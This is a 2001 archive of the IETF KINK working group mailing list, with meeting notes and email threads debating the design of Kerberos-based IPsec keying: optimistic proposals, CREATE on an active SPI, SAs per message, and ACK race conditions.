optional - use Quick Mode payload ordering. issues: - are KINK payloads registered as ISAKMP payloads? - Diffie-Hellman group for PFS put in KE payload? Tero Kivinen: IKE phase 2 PFS group is actually in the quick mode SA payload - More errors? - finer-grained - Default service ipsec/f.q.d.n@REALM jason thorpe suggests "kink/...@REALM" sam hartman regarding host principal vs. service princ. points to kerberos FTP.. thor simon: host vs. service-specific: tradeoff is: do you force the admin to put more stuff in the KDC database, or do you let compromise of one of the other services also comprimise KINK apparent consensus: don't reuse host princ. - Hash/Encryption and IPsec SKEYID uses service key using subkey might be more appropriate, but use of nonces make this roughly equivalent. seems to be OK with everyone to do our own key derivation based on service key and nonces.. Ack reliability (extended discussion) [different from ISAKMP] wording about optimistic create, pessimistic delete needed wording about consequences of ACK being dropped.. SA creation: don't want to install outbound SA until the other side has inbound installed.. options: install SA after timeout anyway? initiate back? tero/sommerfeld: retransmit both msg 1 and msg 2 sommerfeld: both ends retransmitting leads to risk of sorceror's apprentice problem, but exchange is short.. extended discussion ensued regarding 2 vs. 3 msg exchanges for create.. no problem with 2-msg exchange for anything other than CREATE.. several alternatives discussed for CREATE.. - for CREATE, if short circuit, skip ack. (short-circuit == responder picked first choice and did not add a nonce) (no consensus for/against) - for CREATE, w/o short circuit (responder injects nonce or picks something other than the first proposal). unanimous: always send ACK.. suggestions (no consensus): always require server to supply nonce data? tradeoff (always forces 3 message exchange, but avoids a config knob..) add verbiage to the draft ("if you have a bad RNG on the initiator, a good RNG on the responder won't save you..") 2 message exchange as worthy goal?? (sense of WG: leaning towards yes, but not clear) some discussion of acks vs dead peer detection and loss of synchronization.. some discussion of whether ack is actually necessary.. seems to be down to "nuke it" vs "need to think about it.." need more verbiage in documents on when to install SA's. open discussion? nothing more.. -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Sat Aug 25 14:03:25 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id f7PL3PJ12346 for ietf-kink-bks; Sat, 25 Aug 2001 14:03:25 -0700 (PDT) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by above.proper.com (8.11.6/8.11.3) with ESMTP id f7PL3ND12342 for ; Sat, 25 Aug 2001 14:03:23 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id f7PL1SJ19755 for ; Sat, 25 Aug 2001 14:01:28 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAJ21406; Sat, 25 Aug 2001 14:03:20 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA21015; Sat, 25 Aug 2001 14:03:20 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15240.4760.406579.221374@thomasm-u1.cisco.com> Date: Sat, 25 Aug 2001 14:03:20 -0700 (PDT) To: ietf-kink@vpnc.org Subject: "optmistic" defined X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Right now the draft currently defines the optimistic proposal as the first one. As stated, that's obviously a little ambiguous since the first proposal may allow for different transforms and attributes. At the very least, we need to define the optimistic proposal as the first proposal conjugate, and for each proposal within the conjugate the first transform and its first attribute if present (for the ESP auth algorithm). I'm not sure of a couple of things though: 1) There seem to be some other things which can also be negotiated like lifetimes, key rounds and key length. I'm not quite sure what key rounds and key length are intended for, but I'd assume that if there is any possibility for negotiation, the first needs to be the "optimistic" attribute. I'm not as sure about the lifetimes since they really don't effect key generation which is really the point of the optimistic approach 2) Right now, there seems to be no direct way to determine that the receipient chose the optimistic payload. This requires a bunch of checking on the initiator to see if it chose all of the right things for each part of the conjugate. This seems like it could be the source of interoperability problems. Maybe it would be better to have an explicit means of stating categorically that the recipient chose the optimistic proposal? Or is it sufficient to define, as above, what transforms, etc, are pertinent to being optimistic? Mike From owner-ietf-kink Sat Aug 25 14:07:40 2001 Received: by above.proper.com (8.11.6/8.11.3) id f7PL7eP12422 for ietf-kink-bks; Sat, 25 Aug 2001 14:07:40 -0700 (PDT) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by above.proper.com (8.11.6/8.11.3) with ESMTP id f7PL7cD12418 for ; Sat, 25 Aug 2001 14:07:38 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f7PL7aX15046 for ; Sat, 25 Aug 2001 14:07:36 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAJ21422; Sat, 25 Aug 2001 14:07:35 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA21018; Sat, 25 Aug 2001 14:07:35 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15240.5015.414180.811845@thomasm-u1.cisco.com> Date: Sat, 25 Aug 2001 14:07:35 -0700 (PDT) To: ietf-kink@vpnc.org Subject: CREATE on active SPI X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Currently the draft is silent on what the receiver should do if it receives a CREATE for a SPI which it already has an active SA. My inclination is to deem this bogus and return an error (probably via an appropriate ISAKMP notify payload). Objections? Mike From owner-ietf-kink Sat Aug 25 14:17:09 2001 Received: by above.proper.com (8.11.6/8.11.3) id f7PLH9X12713 for ietf-kink-bks; Sat, 25 Aug 2001 14:17:09 -0700 (PDT) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by above.proper.com (8.11.6/8.11.3) with ESMTP id f7PLH7D12709 for ; Sat, 25 Aug 2001 14:17:07 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f7PLH5X16544 for ; Sat, 25 Aug 2001 14:17:05 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAJ21453; Sat, 25 Aug 2001 14:17:04 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA21022; Sat, 25 Aug 2001 14:17:04 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15240.5584.396808.178947@thomasm-u1.cisco.com> Date: Sat, 25 Aug 2001 14:17:04 -0700 (PDT) To: ietf-kink@vpnc.org Subject: multiple SA's per CREATE X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Right now, if you want to CREATE multiple SA in the same message, there's two different ways you can format the message: 1) Create multiple KINK ISAKMP payloads with the normal quick mode payloads inside 2) Take advantage of IKE's ability to have multiple different ISAKMP sets of messages in the same body While we could allow for both, I think it would be better to choose one to keep the complexity down. I'd generally favor (1) because it provides the additional benefit of "bracketing" each of the SA's... something that's a little hazy with IKE right now (I'm not even sure that this is a well implemented/tested feature). It would also provide a well-defined means of allowing per SA notifications to be able to report errors which are specific to the SA which had trouble. Or... we could just deem all multi-SA commands bogus :-) Mike From owner-ietf-kink Sat Aug 25 15:53:57 2001 Received: by above.proper.com (8.11.6/8.11.3) id f7PMrvw14500 for ietf-kink-bks; Sat, 25 Aug 2001 15:53:57 -0700 (PDT) Received: from mail1.cisco.com (mail1.cisco.com [171.68.225.60]) by above.proper.com (8.11.6/8.11.3) with ESMTP id f7PMrtD14496 for ; Sat, 25 Aug 2001 15:53:55 -0700 (PDT) Received: from localhost (ssh-sj1.cisco.com [171.68.225.134]) by mail1.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id PAA10670; Sat, 25 Aug 2001 15:53:53 -0700 (PDT) Date: Sat, 25 Aug 2001 15:53:36 -0700 (PDT) From: Jan Vilhuber X-Sender: vilhuber@localhost To: Michael Thomas cc: ietf-kink@vpnc.org Subject: Re: CREATE on active SPI In-Reply-To: <15240.5015.414180.811845@thomasm-u1.cisco.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Sat, 25 Aug 2001, Michael Thomas wrote: > > > Currently the draft is silent on what the receiver > should do if it receives a CREATE for a SPI which > it already has an active SA. My inclination is to > deem this bogus and return an error (probably via > an appropriate ISAKMP notify payload). > It could be that the remote rebooted, and just happened to pick the exact same SPI it had before reboot (not all THAT unlikely if you have a bad RNG), So I'd venture the opinio that a CREATE for a SPI we already have should result in the deletion of the existing one, and a creation of a new SPI.. Of course it could be a retransmission that took a bad turn on the internet somewhere (and was routed through pakistan or something). Can KINK detect retransmission without actually decrypting the packet? If so (say via a sha-hash of the original packet; that's how I detect retransmissions in IOS's IKE implementation), we can drop retransmissions very fast, and if we STILL get a create for a SPI you already have it MUST be a different request (since a retransmission would have been detected via sha-hash)... Unless you want to include the concept of an INITIAL_CONTACT as in IKE... jan -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 From owner-ietf-kink Sat Aug 25 15:55:35 2001 Received: by above.proper.com (8.11.6/8.11.3) id f7PMtZt14529 for ietf-kink-bks; Sat, 25 Aug 2001 15:55:35 -0700 (PDT) Received: from mail1.cisco.com (mail1.cisco.com [171.68.225.60]) by above.proper.com (8.11.6/8.11.3) with ESMTP id f7PMtYD14525 for ; Sat, 25 Aug 2001 15:55:34 -0700 (PDT) Received: from localhost (ssh-sj1.cisco.com [171.68.225.134]) by mail1.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id PAA10915; Sat, 25 Aug 2001 15:55:32 -0700 (PDT) Date: Sat, 25 Aug 2001 15:55:14 -0700 (PDT) From: Jan Vilhuber X-Sender: vilhuber@localhost To: Michael Thomas cc: ietf-kink@vpnc.org Subject: Re: multiple SA's per CREATE In-Reply-To: <15240.5584.396808.178947@thomasm-u1.cisco.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Sat, 25 Aug 2001, Michael Thomas wrote: > > > Right now, if you want to CREATE multiple SA in the > same message, there's two different ways you can > format the message: > > 1) Create multiple KINK ISAKMP payloads with the > normal quick mode payloads inside > > 2) Take advantage of IKE's ability to have multiple > different ISAKMP sets of messages in the same > body > > While we could allow for both, I think it would be > better to choose one to keep the complexity down. > I'd generally favor (1) because it provides the > additional benefit of "bracketing" each of the > SA's... something that's a little hazy with IKE > right now (I'm not even sure that this is a well > implemented/tested feature). It would also provide > a well-defined means of allowing per SA > notifications to be able to report errors which > are specific to the SA which had trouble. > I concur that 1 sounds reasonable. jan > Or... we could just deem all multi-SA commands > bogus :-) > > Mike > -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 From owner-ietf-kink Sun Aug 26 16:05:44 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id f7QN5ir15427 for ietf-kink-bks; Sun, 26 Aug 2001 16:05:44 -0700 (PDT) Received: from fw.hel.fi.ssh.com (fw.hel.fi.ssh.com [193.64.193.124]) by above.proper.com (8.11.6/8.11.3) with ESMTP id f7QN5YD15420 for ; Sun, 26 Aug 2001 16:05:42 -0700 (PDT) Received: from viikuna.hel.fi.ssh.com (viikuna.hel.fi.ssh.com [10.1.0.46]) by fw.hel.fi.ssh.com (SSH-1.27) with SMTP id f7QN5af00824 for ; Mon, 27 Aug 2001 02:05:36 +0300 (EEST) Received: (qmail 18419 invoked from network); 26 Aug 2001 23:05:36 -0000 Received: from unknown (HELO ryijy.hel.fi.ssh.com) ([10.1.0.48]) (envelope-sender ) by viikuna.hel.fi.ssh.com (qmail-ldap-1.03) with SMTP for ; 26 Aug 2001 23:05:36 -0000 Received: (from kivinen@localhost) by ryijy.hel.fi.ssh.com (8.11.0/8.11.0) id f7QN5gE00696; Mon, 27 Aug 2001 02:05:42 +0300 (EEST) Date: Mon, 27 Aug 2001 02:05:42 +0300 (EEST) Message-Id: <200108262305.f7QN5gE00696@ryijy.hel.fi.ssh.com> X-Authentication-Warning: ryijy.hel.fi.ssh.com: kivinen set sender to using -f From: Tero Kivinen To: ietf-kink@vpnc.org CC: mat@cisco.com (Michael Thomas) Subject: Re: "optmistic" defined References: <15240.4760.406579.221374@thomasm-u1.cisco.com> Organization: SSH Communications Security Oy Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset="iso-8859-1" X-Edit-Time: 8 min X-Total-Time: 7 min Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: mat@cisco.com (Michael Thomas) writes: > Right now the draft currently defines the > optimistic proposal as the first one. As stated, > that's obviously a little ambiguous since the > first proposal may allow for different transforms > and attributes. At the very least, we need to > define the optimistic proposal as the first > proposal conjugate, and for each proposal within > the conjugate the first transform and its first > attribute if present (for the ESP auth algorithm). I think it is easier to remove the whole text about the optimistic stuff, and make the negotiation always 2 packets (or 3 or 4 depending what people decide). The Secure Shell protocol has similar optimistic assumption and it has caused some problems in exactly same place, i.e how to define if we actually selected the the optimistic approach or not, does the parameters which do not affect the actual key negotiation nullify the otherwise optimistic selection (i.e if there are two proposals otherwise identical, but the other end selects proposal that has life time of 3600 seconds instead of 86400 seconds). I myself think that the gain from the optimistic approac is close to zero, and the implementations are much easier if we do not add that there. Also the most common set (== best optimistic protocol suite) and the preferred protocol suite are not necessarely same. For example the most common protocol suite might be DES+MD5, but we might want to propose 3DES+MD5 as our first choice (i.e the most preferred protocol suite) instead of DES, because we think DES should be deprecated... Or replace DES with 3DES and 3DES with AES to get up to date example. Anyways the 3DES is going to be more common than AES for some time, thus if we want to make use of the optimistic approach then we should propose it first. On the other hand if we have hardware accelerator for AES but not for 3DES, or if we otherwise just want to use faster algorithm the preferred algorithm would be AES. -- kivinen@ssh.fi SSH Communications Security http://www.ssh.fi/ SSH IPSEC Toolkit http://www.ssh.fi/ipsec/ From owner-ietf-kink Sun Aug 26 17:29:46 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id f7R0Tko16642 for ietf-kink-bks; Sun, 26 Aug 2001 17:29:46 -0700 (PDT) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by above.proper.com (8.11.6/8.11.3) with ESMTP id f7R0TjD16638 for ; Sun, 26 Aug 2001 17:29:45 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f7R0TaX12570; Sun, 26 Aug 2001 17:29:36 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAJ25251; Sun, 26 Aug 2001 17:29:34 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id RAA21286; Sun, 26 Aug 2001 17:29:34 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15241.37998.251319.108961@thomasm-u1.cisco.com> Date: Sun, 26 Aug 2001 17:29:34 -0700 (PDT) To: Tero Kivinen Cc: ietf-kink@vpnc.org, mat@cisco.com (Michael Thomas) Subject: Re: "optmistic" defined In-Reply-To: <200108262305.f7QN5gE00696@ryijy.hel.fi.ssh.com> References: <15240.4760.406579.221374@thomasm-u1.cisco.com> <200108262305.f7QN5gE00696@ryijy.hel.fi.ssh.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Tero Kivinen writes: > mat@cisco.com (Michael Thomas) writes: > > Right now the draft currently defines the > > optimistic proposal as the first one. As stated, > > that's obviously a little ambiguous since the > > first proposal may allow for different transforms > > and attributes. At the very least, we need to > > define the optimistic proposal as the first > > proposal conjugate, and for each proposal within > > the conjugate the first transform and its first > > attribute if present (for the ESP auth algorithm). > > I think it is easier to remove the whole text about the optimistic > stuff, and make the negotiation always 2 packets There is nothing difficult about it. It just needs well defined rules. Also: there is no reason to not install the SA initially so that it is guaranteed that if the optimistic proposal is chosen, there won't be a race. > The Secure Shell protocol has similar optimistic > assumption and it has caused some problems in exactly same place, i.e > how to define if we actually selected the the optimistic approach or > not, does the parameters which do not affect the actual key > negotiation nullify the otherwise optimistic selection (i.e if there > are two proposals otherwise identical, but the other end selects > proposal that has life time of 3600 seconds instead of 86400 seconds). If it is clear in the draft, then this shouldn't be a problem. I implemented this on Friday and it seems to amount to checking that the transform, auth algorithm (for ESP) and encapsulation are the same, and perhaps the key length and key rounds. For IPCOMP it probably needs to also account for dictionary size and compression private algorithm. > I myself think that the gain from the optimistic approac is close to > zero, and the implementations are much easier if we do not add that > there. It saves a message, and provides reliability for the respondent instead of a race condition. That's hardly "zero". > Also the most common set (== best optimistic protocol suite) and the > preferred protocol suite are not necessarely same. For example the > most common protocol suite might be DES+MD5, but we might want to > propose 3DES+MD5 as our first choice (i.e the most preferred protocol > suite) instead of DES, because we think DES should be deprecated... Or > replace DES with 3DES and 3DES with AES to get up to date example. This is a tradeoff that the implementation can make by policy. If you really, really want to use an uncommon transform because, say, you have hardware assist, then it's probably worthwhile to not choose the optmistic payload. Beyond that, as Dan pointed out on the IPsec list, in real life, it's pretty common that you're going to get agreement because of configuration, or specs which require a profile (ie, you MUST use 3-DES, etc). We really should take advantage of the common case. > Anyways the 3DES is going to be more common than AES for some time, > thus if we want to make use of the optimistic approach then we should > propose it first. On the other hand if we have hardware accelerator > for AES but not for 3DES, or if we otherwise just want to use faster > algorithm the preferred algorithm would be AES. I don't think there's a reason why KINK should say anything about this. It doesn't harm interoperability to say nothing, and saves us from trying to figure out which one to bet on... I'd just assume not go there. Mike From owner-ietf-kink Mon Aug 27 14:27:59 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id f7RLRxa27826 for ietf-kink-bks; Mon, 27 Aug 2001 14:27:59 -0700 (PDT) Received: from fw.hel.fi.ssh.com (fw.hel.fi.ssh.com [193.64.193.124]) by above.proper.com (8.11.6/8.11.3) with ESMTP id f7RLRuD27822 for ; Mon, 27 Aug 2001 14:27:56 -0700 (PDT) Received: from viikuna.hel.fi.ssh.com (viikuna.hel.fi.ssh.com [10.1.0.46]) by fw.hel.fi.ssh.com (SSH-1.27) with SMTP id f7RLRwf25634 for ; Tue, 28 Aug 2001 00:27:58 +0300 (EEST) Received: (qmail 19080 invoked from network); 27 Aug 2001 21:27:58 -0000 Received: from unknown (HELO ryijy.hel.fi.ssh.com) ([10.1.0.48]) (envelope-sender ) by viikuna.hel.fi.ssh.com (qmail-ldap-1.03) with SMTP for ; 27 Aug 2001 21:27:58 -0000 Received: (from kivinen@localhost) by ryijy.hel.fi.ssh.com (8.11.0/8.11.0) id f7RLS3d04012; Tue, 28 Aug 2001 00:28:03 +0300 (EEST) X-Authentication-Warning: ryijy.hel.fi.ssh.com: kivinen set sender to using -f MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15242.47971.240014.93323@ryijy.hel.fi.ssh.com> Date: Tue, 28 Aug 2001 00:28:03 +0300 From: Tero Kivinen To: Michael Thomas Cc: ietf-kink@vpnc.org Subject: Re: "optmistic" defined In-Reply-To: <15241.37998.251319.108961@thomasm-u1.cisco.com> References: <15240.4760.406579.221374@thomasm-u1.cisco.com> <200108262305.f7QN5gE00696@ryijy.hel.fi.ssh.com> <15241.37998.251319.108961@thomasm-u1.cisco.com> X-Mailer: VM 6.89 under Emacs 20.7.1 Organization: SSH Communications Security Oy X-Edit-Time: 6 min X-Total-Time: 5 min Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Michael Thomas writes: > > I myself think that the gain from the optimistic approac is close to > > zero, and the implementations are much easier if we do not add that > > there. > It saves a message, and provides reliability for the > respondent instead of a race condition. That's hardly > "zero". It does not save a message unless you want to send extra message. There is nothing that prevents you doing the negotiation in 2 packets in all times. I don't understand why people insist that if we do not use optimistic approach then we must make the exchange to 3 or 4 packets. The handling can be exactly same regardless whether we used optimistic or non optimistic except that the initiator installs the SA only after he receives the reply from the responder. The responder does exactly same (i.e installs the SA when sending the reply). If you inisist that you want to have extra packet in case we are not using optimistic approach, then you save one extra packet (which can be interleaved with the normal data flow anyways, so it just saves extra packet, not extra round trip or even half a round trip), but if you do not want to have that extra packet then it saves you nothing. -- kivinen@ssh.fi SSH Communications Security http://www.ssh.fi/ SSH IPSEC Toolkit http://www.ssh.fi/ipsec/ From owner-ietf-kink Mon Aug 27 14:35:47 2001 Received: by above.proper.com (8.11.6/8.11.3) id f7RLZlc27945 for ietf-kink-bks; Mon, 27 Aug 2001 14:35:47 -0700 (PDT) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by above.proper.com (8.11.6/8.11.3) with ESMTP id f7RLZkD27941 for ; Mon, 27 Aug 2001 14:35:46 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f7RLZaX05382; Mon, 27 Aug 2001 14:35:36 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAM05507; Mon, 27 Aug 2001 14:35:18 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA21612; Mon, 27 Aug 2001 14:35:17 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15242.48405.493383.653660@thomasm-u1.cisco.com> Date: Mon, 27 Aug 2001 14:35:17 -0700 (PDT) To: Tero Kivinen Cc: Michael Thomas , ietf-kink@vpnc.org Subject: Re: "optmistic" defined In-Reply-To: <15242.47971.240014.93323@ryijy.hel.fi.ssh.com> References: <15240.4760.406579.221374@thomasm-u1.cisco.com> <200108262305.f7QN5gE00696@ryijy.hel.fi.ssh.com> <15241.37998.251319.108961@thomasm-u1.cisco.com> <15242.47971.240014.93323@ryijy.hel.fi.ssh.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Tero Kivinen writes: > Michael Thomas writes: > > > I myself think that the gain from the optimistic approac is close to > > > zero, and the implementations are much easier if we do not add that > > > there. > > It saves a message, and provides reliability for the > > respondent instead of a race condition. That's hardly > > "zero". > > It does not save a message unless you want to send extra message. > There is nothing that prevents you doing the negotiation in 2 packets > in all times. I don't understand why people insist that if we do not > use optimistic approach then we must make the exchange to 3 or 4 > packets. The handling can be exactly same regardless whether we used > optimistic or non optimistic except that the initiator installs the SA > only after he receives the reply from the responder. The responder > does exactly same (i.e installs the SA when sending the reply). All I can say is read the draft. There's a race condition if the non-optimistic proposal is picked and the first packet sent by the respondent. How often the race condition fails is irrelevant as to whether it's present. > If you inisist that you want to have extra packet in case we are not > using optimistic approach, then you save one extra packet (which can > be interleaved with the normal data flow anyways, so it just saves > extra packet, not extra round trip or even half a round trip), but if > you do not want to have that extra packet then it saves you nothing. One of the use scenarios is small devices on bandwidth constrained links -- like, oh say, cell phones. A third message requires a message of about 200-500 bytes because of the kerberos overhead. If we don't need to send it (along with the unpleasant need to start a timer on the reply message), the protocol is a lot more compact on all fronts. Mike From owner-ietf-kink Mon Aug 27 14:53:28 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id f7RLrSG28224 for ietf-kink-bks; Mon, 27 Aug 2001 14:53:28 -0700 (PDT) Received: from fw.hel.fi.ssh.com (fw.hel.fi.ssh.com [193.64.193.124]) by above.proper.com (8.11.6/8.11.3) with ESMTP id f7RLrPD28220 for ; Mon, 27 Aug 2001 14:53:26 -0700 (PDT) Received: from viikuna.hel.fi.ssh.com (viikuna.hel.fi.ssh.com [10.1.0.46]) by fw.hel.fi.ssh.com (SSH-1.27) with SMTP id f7RLrSf26059 for ; Tue, 28 Aug 2001 00:53:28 +0300 (EEST) Received: (qmail 22241 invoked from network); 27 Aug 2001 21:53:27 -0000 Received: from unknown (HELO ryijy.hel.fi.ssh.com) ([10.1.0.48]) (envelope-sender ) by viikuna.hel.fi.ssh.com (qmail-ldap-1.03) with SMTP for ; 27 Aug 2001 21:53:27 -0000 Received: (from kivinen@localhost) by ryijy.hel.fi.ssh.com (8.11.0/8.11.0) id f7RLrXY04034; Tue, 28 Aug 2001 00:53:33 +0300 (EEST) X-Authentication-Warning: ryijy.hel.fi.ssh.com: kivinen set sender to using -f MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15242.49501.376736.125401@ryijy.hel.fi.ssh.com> Date: Tue, 28 Aug 2001 00:53:33 +0300 From: Tero Kivinen To: Michael Thomas Cc: ietf-kink@vpnc.org Subject: Re: "optmistic" defined In-Reply-To: <15242.48405.493383.653660@thomasm-u1.cisco.com> References: <15240.4760.406579.221374@thomasm-u1.cisco.com> <200108262305.f7QN5gE00696@ryijy.hel.fi.ssh.com> <15241.37998.251319.108961@thomasm-u1.cisco.com> <15242.47971.240014.93323@ryijy.hel.fi.ssh.com> <15242.48405.493383.653660@thomasm-u1.cisco.com> X-Mailer: VM 6.89 under Emacs 20.7.1 Organization: SSH Communications Security Oy X-Edit-Time: 12 min X-Total-Time: 11 min Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Michael Thomas writes: > > It does not save a message unless you want to send extra message. > > There is nothing that prevents you doing the negotiation in 2 packets > > in all times. I don't understand why people insist that if we do not > > use optimistic approach then we must make the exchange to 3 or 4 > > packets. The handling can be exactly same regardless whether we used > > optimistic or non optimistic except that the initiator installs the SA > > only after he receives the reply from the responder. The responder > > does exactly same (i.e installs the SA when sending the reply). > All I can say is read the draft. There's a race > condition if the non-optimistic proposal is picked > and the first packet sent by the respondent. How > often the race condition fails is irrelevant as > to whether it's present. The same race condition is also in the IKE but there it is much worse, and most of the people do not care it less (== i.e they do not use commit bit). Some of the IPsec implementations already have fix for this (mostly for IKE), i.e they have small queue for incoming unknown ESP packets (or actually known SPI, but which do not yet have keying material). BTW I don not think it is irrelevant how often it occurs, as if the change is small enough then we can safely say that ok, we loose few first packets in that case. The race condition can only cause initiator to loose first few packets if it does not have the queue, it cannot do anything serious. If I remember correctly somebody also complained that they cannot do the optimistic apporoac, because they cannot change they keying material after the SA is installed, thus there must be some way to disable the optimistic approach. I.e we need yet another knob there to turn off optimistic approach, and that causes even more complex protocol. > > If you inisist that you want to have 